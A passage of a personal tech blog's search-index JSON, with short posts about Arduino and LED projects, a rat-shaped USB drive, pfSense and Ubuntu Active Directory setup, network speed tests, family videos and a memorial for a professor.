the pins for the LED (activity light) and integrated it all inside this most hideous rat thing. All said and done, the rat had a cool USB cable coming out the end of its tail and functioned completely normally as a flash drive. The activity light was embedded in the rat\u0026rsquo;s nose so I could tell when the drive was reading/writing data.\nProject Status: Project Completed - nothing more to be done here.\nHackADay Webserver Title: HackaDay Business Card Webserver Project\nDescription: I found a really cool post on Hackaday.com explaining a great deal about how to build a little webserver on a business card. I decided attempting to build this thing would help me to learn a large number of subjects and in hind-sight I was correct. I went ahead a built my own and have had a great time doing it.\nProject Status: Development on hold until I can get a PicKit2 programmer and replace the roasted ethernet IC yet again.\nFreeduino Title: Freeduino Assembly Project\nDescription: This was a minor project, nothing was invented or anything. I merely assembled a Freeduino board. This is the device I\u0026rsquo;ve come to use for most of my Arduino projects/experiments so far. As a part of the assembly of this thing I learned about using an Ultrasonic cleaner, surface mount soldering (for the messed up FTDI chip) and probably some other stuff I\u0026rsquo;m unaware of.\nHere\u0026rsquo;s some Arduino related projects of my own.\nProject Status: Board is in constant use, an on rare occasion I find myself re-soldering the FTDI chip. Otherwise this is a closed chapter.\nTardulator Calculator Title: Tardulator\nDescription: A very basic calculator program written in Cocoa (for OSX). This is a buggy/screwy little program that doesn\u0026rsquo;t do much more than sort of make you chuckle at it. Some people may find reviewing this helpful for learning Cocoa programming basics.\nProject Status: Old and neglected\n","link":"https://dawning.ca/projects/","section":"pages","tags":null,"title":"Projects"},{"body":"Here\u0026rsquo;s a USB Flash drive I created - really just hacked the guts out of a flash drive, soldered on an LED \u0026amp; wires and jammed it in the guts of this ugly stuffed rat I had.\n","link":"https://dawning.ca/posts/behold-the-flash-rat/","section":"posts","tags":["hardware","diy","rat","usb","flash drive"],"title":"Behold: The Flash Rat"},{"body":"","link":"https://dawning.ca/tags/flash-drive/","section":"tags","tags":null,"title":"Flash Drive"},{"body":"","link":"https://dawning.ca/tags/rat/","section":"tags","tags":null,"title":"Rat"},{"body":"Howdy world, so I wanted to share this idea I have about a fun little project that I\u0026rsquo;m considering involving using little sheets of etched plexi-glass, LEDs, some random switches and some kind of controller (like ATMega168/Arduino) to create a cheap crude super bizarre little game system. Not sure what the game could be, but here\u0026rsquo;s a video of a little brainstorm. My main inspiration came from here. This also helped give me some good thoughts that led to this.\n","link":"https://dawning.ca/posts/plexi-glass-based-displayed-video-game-brainstorm/","section":"posts","tags":null,"title":"Plexi-Glass based displayed video game brainstorm"},{"body":"Here\u0026rsquo;s a little video I whipped up on account that some people STILL haven\u0026rsquo;t heard of Synergy.. Check this video out if you too are a bit unclear about what the dealio with Synergy is.\n","link":"https://dawning.ca/posts/synergy-breeze/","section":"posts","tags":null,"title":"Synergy Breeze"},{"body":"","link":"https://dawning.ca/tags/hypnocrystal/","section":"tags","tags":null,"title":"HypnoCrystal"},{"body":"","link":"https://dawning.ca/tags/light-emitting-diode/","section":"tags","tags":null,"title":"Light Emitting Diode"},{"body":"Using the toys I\u0026rsquo;ve been enjoying ever so much lately, I\u0026rsquo;ve managed to really nicely smooth out the programming in my Arduino for my RGB LED. It\u0026rsquo;s so awesome that I\u0026rsquo;m given it a name! Meet the HypnoOrb!\nAt this point I only have the raw prototype, but I\u0026rsquo;m considering going ahead an making more of them. I have to work out pricing and smooth of some aspects of the design. If you\u0026rsquo;re interested in getting one, please contact me or post a message here - the more interest I see on this thing, the faster I\u0026rsquo;ll work at finding an inexpensive means of producing them.\nHere\u0026rsquo;s the HypnoOrb source code for the Arduino environment.\nThe HypnoOrb\u0026rsquo;s name was inspired by our master, the HypnoToad.\n","link":"https://dawning.ca/posts/world-meet-the-hypnoorb/","section":"posts","tags":["hardware","electronics","arduino","led","diy","HypnoCrystal","RGB LED","light emitting diode","HypnoOrb"],"title":"World, meet the HypnoOrb"},{"body":"So I got this awesome RGB LED from Sparkfun and decided to take it for a test drive tonight. Of course, I decided to drive this one with my Arduino board which is getting tons of attention lately. Check it out.\n","link":"https://dawning.ca/posts/rgb-led-test-drive-via-arduino/","section":"posts","tags":null,"title":"RGB LED Test Drive via Arduino"},{"body":"","link":"https://dawning.ca/tags/3-wires/","section":"tags","tags":null,"title":"3 Wires"},{"body":"","link":"https://dawning.ca/tags/7-seg-display/","section":"tags","tags":null,"title":"7-Seg Display"},{"body":"","link":"https://dawning.ca/tags/7-segment-display/","section":"tags","tags":null,"title":"7-Segment Display"},{"body":"I\u0026rsquo;ve taken a few little steps forward towards my plans of building some cool stuff I\u0026rsquo;ve yet to announce. Yesterday I focused on testing out a tutorial I found on the Arduino website regarding driving multiple LEDs via chained shift registers. This setup is pretty cool as it only takes 3 pins off of the arduino (excluding power, which could be easily driven separately). I used the tutorial here to get the potentiometer going.\n","link":"https://dawning.ca/posts/goofin-around-with-7-segment-displays-my-arduino/","section":"posts","tags":["hardware","arduino","led","diy","shift registers","7-segment display","7-seg display","LEDs","3 wires","microcontroller"],"title":"Goofin' Around with 7-Segment Displays \u0026 my Arduino"},{"body":"","link":"https://dawning.ca/tags/leds/","section":"tags","tags":null,"title":"LEDs"},{"body":"","link":"https://dawning.ca/tags/microcontroller/","section":"tags","tags":null,"title":"Microcontroller"},{"body":"","link":"https://dawning.ca/tags/shift-registers/","section":"tags","tags":null,"title":"Shift Registers"},{"body":"","link":"https://dawning.ca/tags/applet/","section":"tags","tags":null,"title":"Applet"},{"body":" So I\u0026rsquo;ve been dragging my feet, trying to really wrap my brains around how nMOS, pMOS and the ever awesome n\u0026amp;p party called CMOS really get along, when I came across THIS freaking awesome page that really provided the illustration for how these things work that I\u0026rsquo;ve been looking for! The page that hosts this demonstration page I\u0026rsquo;m talking about is for some university in Hamburg, so I\u0026rsquo;m really thankful their page was written in English.\nAnyone out there taking a course involving CMOS logic should really test/augment their understanding by taking a run through this page. It\u0026rsquo;s so freakin helpful!\nFor those who are bizarrely keen, the course I\u0026rsquo;m taking that relates to this is ENCM467 at the University of Calgary. Feel free to check out my notes for some vague scribblings related to this.\n","link":"https://dawning.ca/posts/awesome-cmos/","section":"posts","tags":["hardware","electronics","cmos","nmos","pmos","transistors","tutorial","applet","help","example","learning","logic","digitial logic","computers","engineering","science"],"title":"Awesome CMOS illustration applets found!"},{"body":"","link":"https://dawning.ca/tags/cmos/","section":"tags","tags":null,"title":"Cmos"},{"body":"","link":"https://dawning.ca/tags/digitial-logic/","section":"tags","tags":null,"title":"Digitial Logic"},{"body":"","link":"https://dawning.ca/tags/help/","section":"tags","tags":null,"title":"Help"},{"body":"","link":"https://dawning.ca/tags/learning/","section":"tags","tags":null,"title":"Learning"},{"body":"","link":"https://dawning.ca/tags/logic/","section":"tags","tags":null,"title":"Logic"},{"body":"","link":"https://dawning.ca/tags/nmos/","section":"tags","tags":null,"title":"Nmos"},{"body":"","link":"https://dawning.ca/tags/pmos/","section":"tags","tags":null,"title":"Pmos"},{"body":"","link":"https://dawning.ca/tags/science/","section":"tags","tags":null,"title":"Science"},{"body":"","link":"https://dawning.ca/tags/transistors/","section":"tags","tags":null,"title":"Transistors"},{"body":"Hello, I recently upgraded one of my routers from pfsense 1.2-RC4 to 1.2.1-RC2 and ran in to a nasty issue regarding my wireless access point seemingly vanishing from existence.\nIt took a few hours, but I figured out a work-around and posted how to resolve the issue. The jist is in the upgrade from FreeBSD 6.x to 7, somehow the Atheros wireless setting for auto selecting a channel changed such that using auto selection would cause the wireless card to use channel 0 - which is non-sense. My \u0026ldquo;fix\u0026rdquo; was to manually select a channel. This was enough for my purposes.\nFor those who have no idea what I\u0026rsquo;m talking about - perhaps this would be a good place to get a point of reference.\n","link":"https://dawning.ca/posts/pfsense-121-rc2-atheros-wireless-issue-addressed/","section":"posts","tags":null,"title":"pfsense 1.2.1-RC2 Atheros Wireless Issue addressed "},{"body":"Okay, so it\u0026rsquo;s not really news that I often take my notes for school on a tablet. I first started posting some of my notes over a year ago, however the way I was doing it took me quite a bit of effort/time to post a single lecture. Now I\u0026rsquo;ve re-worked my process and created the new notes section. While I feel this section isn\u0026rsquo;t as \u0026ldquo;pretty\u0026rdquo; as it ought to be, it is very easy for me to add new notes to it. I\u0026rsquo;ve since added all the notes for all the courses I currently have and have also pasted in course descriptions. I only really expect a few of my peers to derive any real benefit from this, but, hey, you never know, other people may find it helpful too.\n","link":"https://dawning.ca/posts/school-notes-section-reborn/","section":"posts","tags":null,"title":"School Notes Section Reborn"},{"body":"Below is my directory of my personal notes from some courses I\u0026rsquo;ve taken at the University of Calgary. My Schedule is also available to you stalkers/assassins.\nA little disclaimer: These notes are not exhaustive as I don\u0026rsquo;t always use my tablet for taking notes. Also, there are occasions where a prof goes faster than I can write or something gets copied incorrectly. I really try to write notes that are actually easy to read, but that doesn\u0026rsquo;t always work out. Enjoy!\nFor the sake of ancientness, my old school page is now here.7\n","link":"https://dawning.ca/notes/","section":"pages","tags":null,"title":"Notes"},{"body":"So, I was checking out this neat City of Calgary (where I allegedly live) Traffic Website. It shows a cool map of the city with little camera icons for each location where the city has a web cam setup. What I didn\u0026rsquo;t like about this setup is that you can only look at one camera at a time and they expect you to click on each icon to bring up the view. So I looked at how they structured things a bit and just whipped up this page that gives a sense of the city all at once. Check it out!\nI also noticed that on the City of Calgary page, they only use something like half of the web cams that they have configured to post their images (at least in the way as used by their website) - so I\u0026rsquo;ve included those web cams in this page. At this time, there\u0026rsquo;s 42 in total (as opposed to 22 on their site linked above).\n","link":"https://dawning.ca/posts/calgary-traffic-web-cam-info-aggregated/","section":"posts","tags":null,"title":"Calgary Traffic Web Cam info Aggregated!"},{"body":"Here\u0026rsquo;s a page of the Calgary Traffic Camera views aggregated from the City of Calgary Traffic website.\nFeel free to toss me a beer Meh //\n","link":"https://dawning.ca/software/calgary-traffic/","section":"pages","tags":null,"title":"Calgary Traffic"},{"body":"Here\u0026rsquo;s a video I decided to toss up on YouTube just showing some of the results of some of the goofing around I\u0026rsquo;ve been doing with my Arduino board (it\u0026rsquo;s actually a Freeduino).\nI had a lot of trouble getting the board to work at first, but once I ran it through an ultrasonic cleaner it seemed to smooth out a lot. Though, some times it still has a hard time programming, in which case I can just apply pressure to the FTDI chip and then it\u0026rsquo;ll program. I\u0026rsquo;ve tried re-soldering the pins on the FTDI, but that didn\u0026rsquo;t entirely resolve the issue enough. Not to worry though, it consistently works perfectly enough for me.\n","link":"https://dawning.ca/posts/arduinofreeduino-play/","section":"posts","tags":["hardware","electronics","arduino","freeduino","atmel","atmega168","led","diy"],"title":"Arduino/Freeduino Play"},{"body":"","link":"https://dawning.ca/tags/business-card/","section":"tags","tags":null,"title":"Business Card"},{"body":"","link":"https://dawning.ca/tags/credit-card/","section":"tags","tags":null,"title":"Credit Card"},{"body":"","link":"https://dawning.ca/tags/hackaday/","section":"tags","tags":null,"title":"Hackaday"},{"body":"So I found this article on HackADay.com that discusses how to build a small computer on a PCB about the size of a business card. So I went ahead and managed to order a PCB for it and all the parts.\nIt took me awhile to scrounge the stuff together, but eventually it all arrived. Then I spent a very careful 10 hours soldering on all the tiny little surface mount components. I must admit, this was a great introduction to that world. Anyway, here\u0026rsquo;s a YouTube video I made just showing this thing hooked up to some power. At this point, I don\u0026rsquo;t have a programmer, so I can\u0026rsquo;t actually program the board to do anything other than look like a work of art.\n","link":"https://dawning.ca/posts/hackaday-webserver-project/","section":"posts","tags":["PIC","pic24f","hackaday","webserver","credit card","business card","hardware","solder","electronics"],"title":"HackADay WebServer Project"},{"body":"","link":"https://dawning.ca/tags/pic/","section":"tags","tags":null,"title":"PIC"},{"body":"","link":"https://dawning.ca/tags/pic24f/","section":"tags","tags":null,"title":"Pic24f"},{"body":"","link":"https://dawning.ca/tags/webserver/","section":"tags","tags":null,"title":"Webserver"},{"body":"I can\u0026rsquo;t believe this machine! Just imagine where this will evolve to in a few years!\n","link":"https://dawning.ca/posts/outstanding-walking-robot-dog/","section":"posts","tags":["robot dog","walking robot","robot"],"title":"Outstanding Walking Robot \"Dog\""},{"body":"","link":"https://dawning.ca/tags/robot/","section":"tags","tags":null,"title":"Robot"},{"body":"","link":"https://dawning.ca/tags/robot-dog/","section":"tags","tags":null,"title":"Robot Dog"},{"body":"","link":"https://dawning.ca/tags/walking-robot/","section":"tags","tags":null,"title":"Walking Robot"},{"body":"Found a link to this on MAKE Magazine\n","link":"https://dawning.ca/posts/wicked-lightning-strike-video/","section":"posts","tags":null,"title":"Wicked Lightning Strike Video"},{"body":"","link":"https://dawning.ca/tags/open-moko/","section":"tags","tags":null,"title":"Open Moko"},{"body":"","link":"https://dawning.ca/tags/openmoko/","section":"tags","tags":null,"title":"Openmoko"},{"body":"Hey gang, for those interested, I found on the openmoko website this awesome little file you can download, extract and quickly use to get the OpenMoko firmware to boot up in QEMU. So those who are interested in checking this phone out can get a slight sample of it this way. What I like about it is that I can begin developing for the project without having to own one!\nThe Emulator package is here The Wiki page with more info on this is here\nHave fun!!\n","link":"https://dawning.ca/posts/openmoko-emulator/","section":"posts","tags":["openmoko","open moko","phone","qemu","linux","windows","download"],"title":"OpenMoko Emulator"},{"body":"","link":"https://dawning.ca/tags/qemu/","section":"tags","tags":null,"title":"Qemu"},{"body":"","link":"https://dawning.ca/tags/8.04/","section":"tags","tags":null,"title":"8.04"},{"body":"","link":"https://dawning.ca/tags/lib-pam/","section":"tags","tags":null,"title":"Lib-Pam"},{"body":"","link":"https://dawning.ca/tags/remote-authentication/","section":"tags","tags":null,"title":"Remote Authentication"},{"body":"","link":"https://dawning.ca/tags/samba/","section":"tags","tags":null,"title":"Samba"},{"body":"","link":"https://dawning.ca/tags/ubuntu-8.04/","section":"tags","tags":null,"title":"Ubuntu 8.04"},{"body":"So I\u0026rsquo;ve spent some time for something at work figuring out how to get an Ubuntu server to authenticate users with a Windows 2003 Server Active Directory. Using the process I\u0026rsquo;ve found by combining various sources, my instructions show how to get a machine setup such that users logging in to the shell, accessing a samba share and checking out a website (or sub-directory of one) can all be authenticated using credentials centrally stored in a separate Active Directory server.\nCheck out my articles I\u0026rsquo;ve posted here: Samba/Shell Authentication Apache Authentication\n","link":"https://dawning.ca/posts/ubuntu-samba-apache-active-directory-authentication/","section":"posts","tags":["samba","active directory","apache","authentication","remote authentication","lib-pam","winbind","ubuntu","ubuntu 8.04","8.04","Windows 2003 Server","Win2k3 Server","Win2k3"],"title":"Ubuntu Samba Apache Active Directory Authentication"},{"body":"","link":"https://dawning.ca/tags/win2k3/","section":"tags","tags":null,"title":"Win2k3"},{"body":"","link":"https://dawning.ca/tags/win2k3-server/","section":"tags","tags":null,"title":"Win2k3 Server"},{"body":"","link":"https://dawning.ca/tags/winbind/","section":"tags","tags":null,"title":"Winbind"},{"body":"","link":"https://dawning.ca/tags/windows-2003-server/","section":"tags","tags":null,"title":"Windows 2003 Server"},{"body":"","link":"https://dawning.ca/tags/culture/","section":"tags","tags":null,"title":"Culture"},{"body":"","link":"https://dawning.ca/tags/dr.-horrible/","section":"tags","tags":null,"title":"Dr. Horrible"},{"body":"How I love Joss Whedon! His revolution has launched as of today! Below is the teaser for his made for internet series \u0026ldquo;Dr. Horrible\u0026rsquo;s Sing-Along Blog\u0026rdquo;. The first episode was released today at DrHorrible.com.\n\\t \\t \\t \\t Teaser from Dr. Horrible\u0026rsquo;s Sing-Along Blog on Vimeo.\nThe Dr. Horrible website currently is having a really hard time keeping up for the traffic demands (which is a great thing - mostly). An alternative option is to buy it straight up on iTunes! It\u0026rsquo;ll be the first thing I do when I get home from work tonight!\n","link":"https://dawning.ca/posts/dr-horribles-sing-along-blog/","section":"posts","tags":["Dr. Horrible","Sing-Along Blog","Joss Whedon","iTunes","culture"],"title":"Dr. Horrible's Sing-Along Blog!"},{"body":"","link":"https://dawning.ca/tags/itunes/","section":"tags","tags":null,"title":"ITunes"},{"body":"","link":"https://dawning.ca/tags/joss-whedon/","section":"tags","tags":null,"title":"Joss Whedon"},{"body":"","link":"https://dawning.ca/tags/sing-along-blog/","section":"tags","tags":null,"title":"Sing-Along Blog"},{"body":"","link":"https://dawning.ca/tags/8800-gt/","section":"tags","tags":null,"title":"8800 Gt"},{"body":"","link":"https://dawning.ca/tags/clone-pc/","section":"tags","tags":null,"title":"Clone Pc"},{"body":"","link":"https://dawning.ca/tags/clone-pc-video-card/","section":"tags","tags":null,"title":"Clone Pc Video Card"},{"body":"","link":"https://dawning.ca/tags/nvinject/","section":"tags","tags":null,"title":"Nvinject"},{"body":"Howdy World, I seek your input. I want to run a clone PC video card in my 2008 Mac Pro machine. In particular, I was thinking I\u0026rsquo;d get something as close to the $280.00 Apple provided NVIDIA 8800 GT card as possible. My current first choice is the $180 eVGA e-GeForce 8800 GT.\nI expect the potential major problem to be that a clone video card may be unaware of the boot process of a mac machine. I\u0026rsquo;m speaking with particular respect to EFI. That said, I\u0026rsquo;m also aware that clone PCs are intended to be able to use EFI instead of BIOS - so I\u0026rsquo;d expect decent newer video cards to support this.\nSo, my question is has anyone tried this? I suspect if I have a driver problem I can use the nvinject project for OSX86 to help me figure out getting my card supported. I\u0026rsquo;m okay editing the odd kext or something if I have to. But of course, I don\u0026rsquo;t want to really have to work my butt off just to have semi-functional support on the card. So if anyone has tried this and can comment, please do!\n","link":"https://dawning.ca/posts/using-a-clone-pc-video-card-in-a-mac-pro/","section":"posts","tags":["mac pro","apple","clone pc","clone pc video card","video card","nvinject","8800 gt"],"title":"Using a Clone PC Video card in a Mac Pro"},{"body":"","link":"https://dawning.ca/tags/video-card/","section":"tags","tags":null,"title":"Video Card"},{"body":"","link":"https://dawning.ca/tags/cross-over/","section":"tags","tags":null,"title":"Cross Over"},{"body":"Howdy, so I just changed my setup from having a single ethernet cable running from my mac pro to my file server (using a Netgear gigabit NIC - GA311NAR) to connecting over a DLink Gigabit switch (DGS-1005D).\nI have had the understanding that network transfer rates through switching fabric will constrain the transfer rates (I would have thought by means of bandwidth or propagation time) and perhaps they do, but in short my little change over here has shown me that the difference is relatively irrelevant.\nHow I compared transfer times: On my mac I just ran the time command at the terminal and ran it for a copy of a 3.7GB file. I just copied the file twice for the cross-over configuration and twice for the switched configuration to compare.\nFor the cross-over arrangement, the times were:\nreal\\t2m1.398s user\\t0m0.010s sys\\t0m9.157s\nand\nreal\\t2m0.478s user\\t0m0.010s sys\\t0m9.106s\nFor the switched configuration, the times were:\nreal\\t2m1.191s user\\t0m0.011s sys\\t0m9.108s\nand\nreal\\t2m1.205s user\\t0m0.010s sys\\t0m9.082s\nThis is hardly enough of a test to really pattern the difference between the two. Both machines were idle while conducting the test. The performance differences of the switch would probably become much more obvious if there was a bunch of other traffic, but as it stands, there were only the two machines even connected to the switch. I read somewhere that the performance of the switch changes when non gigabit nics are live, though I haven\u0026rsquo;t tested that.\nAs I said before - there\u0026rsquo;s no obvious performance difference in this case. Perhaps I\u0026rsquo;ll submit another set of test results once I get my secondary workstation alive again.\nHave fun\n","link":"https://dawning.ca/posts/cross-over-vs-switched-network-performance/","section":"posts","tags":["gigabit ethernet","performance","network","transfer rate","speed","cross over","swtich","DGS-1005D","GA311NAR","GA311"],"title":"Cross Over vs. Switched Network performance"},{"body":"","link":"https://dawning.ca/tags/dgs-1005d/","section":"tags","tags":null,"title":"DGS-1005D"},{"body":"","link":"https://dawning.ca/tags/ga311/","section":"tags","tags":null,"title":"GA311"},{"body":"","link":"https://dawning.ca/tags/ga311nar/","section":"tags","tags":null,"title":"GA311NAR"},{"body":"","link":"https://dawning.ca/tags/gigabit-ethernet/","section":"tags","tags":null,"title":"Gigabit Ethernet"},{"body":"","link":"https://dawning.ca/tags/network/","section":"tags","tags":null,"title":"Network"},{"body":"","link":"https://dawning.ca/tags/performance/","section":"tags","tags":null,"title":"Performance"},{"body":"","link":"https://dawning.ca/tags/speed/","section":"tags","tags":null,"title":"Speed"},{"body":"","link":"https://dawning.ca/tags/swtich/","section":"tags","tags":null,"title":"Swtich"},{"body":"","link":"https://dawning.ca/tags/transfer-rate/","section":"tags","tags":null,"title":"Transfer Rate"},{"body":"","link":"https://dawning.ca/tags/1984/","section":"tags","tags":null,"title":"1984"},{"body":"","link":"https://dawning.ca/tags/family-video/","section":"tags","tags":null,"title":"Family Video"},{"body":"","link":"https://dawning.ca/posts/hilarious-ancient-family-video/","section":"posts","tags":["family video","1984","randi","jill","patrick"],"title":"Hilarious Ancient Family Video"},{"body":"","link":"https://dawning.ca/tags/jill/","section":"tags","tags":null,"title":"Jill"},{"body":"","link":"https://dawning.ca/tags/patrick/","section":"tags","tags":null,"title":"Patrick"},{"body":"","link":"https://dawning.ca/tags/randi/","section":"tags","tags":null,"title":"Randi"},{"body":"Just cause it\u0026rsquo;s exam season\n","link":"https://dawning.ca/posts/dont-be-snotty-exhibit-a/","section":"posts","tags":null,"title":"Don't be snotty. Exhibit A:"},{"body":"Here\u0026rsquo;s a little video I did up of what\u0026rsquo;s got to be as good as it\u0026rsquo;s gonna get over VNC. The Video speaks for itself. Have fun.\n","link":"https://dawning.ca/posts/best-case-scenario-vnc/","section":"posts","tags":["mac pro","vnc","macbook","vast","world of warcraft","gigabit ethernet"],"title":"Best Case Scenario VNC"},{"body":"","link":"https://dawning.ca/tags/vast/","section":"tags","tags":null,"title":"Vast"},{"body":"","link":"https://dawning.ca/tags/vnc/","section":"tags","tags":null,"title":"Vnc"},{"body":"","link":"https://dawning.ca/tags/boot/","section":"tags","tags":null,"title":"Boot"},{"body":"","link":"https://dawning.ca/tags/first-boot/","section":"tags","tags":null,"title":"First Boot"},{"body":"","link":"https://dawning.ca/tags/refurb/","section":"tags","tags":null,"title":"Refurb"},{"body":"","link":"https://dawning.ca/tags/refurbished/","section":"tags","tags":null,"title":"Refurbished"},{"body":"Here\u0026rsquo;s a little video I did of the \u0026ldquo;first\u0026rdquo; boot of the Refurbished Mac Pro I picked up.\n","link":"https://dawning.ca/posts/refurbished-mac-pro-first-boot/","section":"posts","tags":["mac pro","mac","pro","refurb","refurbished","first boot","boot"],"title":"Refurbished Mac Pro First Boot"},{"body":"","link":"https://dawning.ca/tags/unboxing/","section":"tags","tags":null,"title":"Unboxing"},{"body":"Here\u0026rsquo;s a video I made of opening the refurbished mac pro I picked up. Saved me some good coin going the refurb route - though I figured people may be interested in seeing how a refurb pro comes packed.\n","link":"https://dawning.ca/posts/unboxing-of-refurbished-mac-pro-machine/","section":"posts","tags":["mac pro","mac","pro","refurb","refurbished","unboxing"],"title":"Unboxing of Refurbished Mac Pro machine"},{"body":"This is something I\u0026rsquo;m working on for school.. Pretty gruesome project, though at times it\u0026rsquo;s fun..\n","link":"https://dawning.ca/posts/highly-sort-of-exciting-nerd-project/","section":"posts","tags":null,"title":"Highly exciting (sort of) Nerd Project"},{"body":"I thought we were done with winter, but perhaps today\u0026rsquo;s freak snow storm is the dying breath of this winter.. After all, it is April 10th!\n","link":"https://dawning.ca/posts/wowzers-april-snow/","section":"posts","tags":null,"title":"Wowzers April Snow!"},{"body":"So I was entering the mall with some friends when I came across this car. Who knows what the deal with it was, but that paint looked like it was meant to stay on.. How bizarre!\n","link":"https://dawning.ca/posts/crazy-painted-parking-lot-car/","section":"posts","tags":["PT Cruiser","Painted car"],"title":"Crazy Painted Parking Lot Car"},{"body":"","link":"https://dawning.ca/tags/painted-car/","section":"tags","tags":null,"title":"Painted Car"},{"body":"","link":"https://dawning.ca/tags/pt-cruiser/","section":"tags","tags":null,"title":"PT Cruiser"},{"body":"","link":"https://dawning.ca/tags/random-pictures/","section":"tags","tags":null,"title":"Random Pictures"},{"body":"In accordance with my procrastination regiment, I have posted some of my more recent photos. Check it out.\n","link":"https://dawning.ca/posts/randomness-pictures-posted/","section":"posts","tags":["random pictures","pictures"],"title":"Randomness Pictures Posted"},{"body":"I\u0026rsquo;m just learning about Apple\u0026rsquo;s little scripting-for-nonprogrammers generally referred to as Automator. Below is a youtube video I\u0026rsquo;ve found that seems like a good basic illustration.\n","link":"https://dawning.ca/posts/osx-automator-tutorial/","section":"posts","tags":null,"title":"OSX Automator Tutorial "},{"body":"","link":"https://dawning.ca/categories/alistairs-birthday/","section":"categories","tags":null,"title":"Alistair's Birthday"},{"body":"At Alistair\u0026rsquo;s B-Day, kids playing with a neat ball\n","link":"https://dawning.ca/posts/zach-al-playing-with-a-ball/","section":"posts","tags":null,"title":"Zach \u0026 Al playing with a ball"},{"body":"","link":"https://dawning.ca/posts/best-commercial-ever/","section":"posts","tags":null,"title":"best commercial ever"},{"body":"","link":"https://dawning.ca/posts/the-ballad-of-the-noob/","section":"posts","tags":null,"title":"The Ballad Of The Noob"},{"body":"","link":"https://dawning.ca/posts/world-of-warcraft-bigbluedress/","section":"posts","tags":null,"title":"World of Warcraft BigBlueDress"},{"body":"","link":"https://dawning.ca/posts/bouvier-des-flandres/","section":"posts","tags":null,"title":"Bouvier des Flandres"},{"body":"A cheeky cat (Babe) lays in the dog\u0026rsquo;s bed! Doggy (Rudy) desperately trying to find a way to get the cat out of it! Pretty rediculus! Not a common cat vs dog video! Enjoy it!\n","link":"https://dawning.ca/posts/cat-and-dog-funny-get-out-of-my-bed/","section":"posts","tags":null,"title":"Cat and Dog funny (get out of my bed)"},{"body":"","link":"https://dawning.ca/posts/linux-iphone-video-open-source-iphone-is-better/","section":"posts","tags":null,"title":"Linux iPhone Video - Open Source iPhone is better"},{"body":"","link":"https://dawning.ca/posts/powerpc-vs-x86-endianess/","section":"posts","tags":null,"title":"PowerPC vs x86: Endianess"},{"body":"","link":"https://dawning.ca/posts/balmer-sells-windows/","section":"posts","tags":null,"title":"Balmer Sells Windows"},{"body":"","link":"https://dawning.ca/posts/happy-birthday-song-for-alistair/","section":"posts","tags":null,"title":"Happy Birthday Song for Alistair"},{"body":"","link":"https://dawning.ca/posts/alistair-gets-a-bike/","section":"posts","tags":null,"title":"Alistair gets a Bike"},{"body":"","link":"https://dawning.ca/posts/caris-shows-off-her-stickers/","section":"posts","tags":null,"title":"Caris Shows off her Stickers"},{"body":"Check out the new pictures!\n","link":"https://dawning.ca/posts/alistair-turns-3/","section":"posts","tags":null,"title":"Alistair Turns 3!"},{"body":"Ha ha ha ha - seriously, this rocks. Screw installing it natively on your PC, but as a VM, it\u0026rsquo;ll fly!\n","link":"https://dawning.ca/posts/upgrade-your-vm-to-dos-5/","section":"posts","tags":null,"title":"Upgrade your VM to DOS 5!"},{"body":"Check it out on E-Bay if you\u0026rsquo;re interested: Click here\n","link":"https://dawning.ca/posts/asus-eee-tweaked-out-for-sale/","section":"posts","tags":null,"title":"ASUS EEE Tweaked out \u0026 for sale"},{"body":"Here\u0026rsquo;s a little video I did of Ubuntu 7.10 booting on my EEE PC.\n","link":"https://dawning.ca/posts/ubuntu-710-on-eee-pc/","section":"posts","tags":null,"title":"Ubuntu 7.10 on EEE PC"},{"body":"In the summer of 2007 I discovered that I could play my niece Caris as an instrument. I must admit I\u0026rsquo;ve got a lot of practice left before I can play her half as well as I can play a 12lb bass fish against the side of a car. But here you can witness one of my first attempts at mastering this most unusual instrument.\n","link":"https://dawning.ca/posts/the-caris-instrument/","section":"posts","tags":null,"title":"The Caris Instrument"},{"body":"In a daring display of courage the Jaymus taunts the appetite of his pet Raptor. The consequences of which were nearly gruesome, however a brilliant quick escape ensured the Jaymus\u0026rsquo; survival so that he may taunt again in the future!\n","link":"https://dawning.ca/posts/taunting-a-raptor/","section":"posts","tags":null,"title":"Taunting a Raptor"},{"body":"Howdy! Okay I\u0026rsquo;ve done some updates to the site. I added the new videos page (see link on banner above) that currently has links to a number of youtube videos I\u0026rsquo;ve posted. In the future, I think I\u0026rsquo;d like to arrange the videos differently and include links to my favorite videos too. But for the moment, go check out the video page.\nI\u0026rsquo;ve also posted quite a few more pictures in the pictures section:\n","link":"https://dawning.ca/posts/videos-section-created/","section":"posts","tags":null,"title":"Videos Section Created"},{"body":"For the armies of you trying to track me - I\u0026rsquo;ve just updated my schedule page to use my google calendar rather than a boring old JPG. Have fun stalking away.\n","link":"https://dawning.ca/posts/online-schedule-updated/","section":"posts","tags":["Schedule"],"title":"Online Schedule Updated"},{"body":"","link":"https://dawning.ca/tags/schedule/","section":"tags","tags":null,"title":"Schedule"},{"body":"Hey family, friends and stalkers alike.. I\u0026rsquo;ve just posted my Winter 2008 Academic Schedule.. So you know, set it to your wallpapers already.\nTake care\n","link":"https://dawning.ca/posts/winter-2008-academic-schedule-now-available/","section":"posts","tags":null,"title":"Winter 2008 Academic Schedule Now Available"},{"body":"I\u0026rsquo;ve just posted some pictures from my recent trip to Chilliwack, BC and San Francisco - Check them out in the photos section!\n","link":"https://dawning.ca/posts/chilliwack-san-fran-pics-posted/","section":"posts","tags":null,"title":"Chilliwack \u0026 San Fran Pics posted"},{"body":"Hey friends. My parents are now selling our beloved cottage building to make room for our next cottage. I\u0026rsquo;ve just posted a link to an ebay posting for the building. I decided to make a posting here on my site just to help the listing\u0026rsquo;s web presence. The building is located in Windermere, British Columbia. Check out the ebay posting if you think you may be interested!\nGo here to see the posting!\n","link":"https://dawning.ca/posts/the-cottage-itself-is-for-sale/","section":"posts","tags":null,"title":"The Cottage itself is for sale!"},{"body":"Back in the fall of 2006 I began a full year course at the University of Calgary - cpsc550. This course is considered a privilege to take as the faculty exposes students in it to some special instructors who really are at the uni to do real work. My offering of the course had two instructors Darcy Grant and Cliff Marcellus. This post is about Cliff in particular. As the course progressed I came to deeply appreciate Cliff as he had a sense of humor I considered to be very unusual, he would say completely hilarious things that required you really be familiar with the topic at hand to really appreciate. Cliff and I exchanged a few emails containing some rather outrageous intellectual collaboration regarding physics and the workings of the universe as according to Star Trek. Towards the end of the course I showed Cliff some diagrams of a general purpose computer architecture I had thought up - he was highly enthusiastic about them and firmly encouraged me to continue designing.\nYesterday, which was one month after that fact, I learned that Cliff had passed away due to some kind of liver failure. I believe he was 48 at the time. While I can appreciate that a little blog post is really rather minor and insignificant, but I felt the need to say something somewhere.\nI was deeply saddened to hear to news, especially since 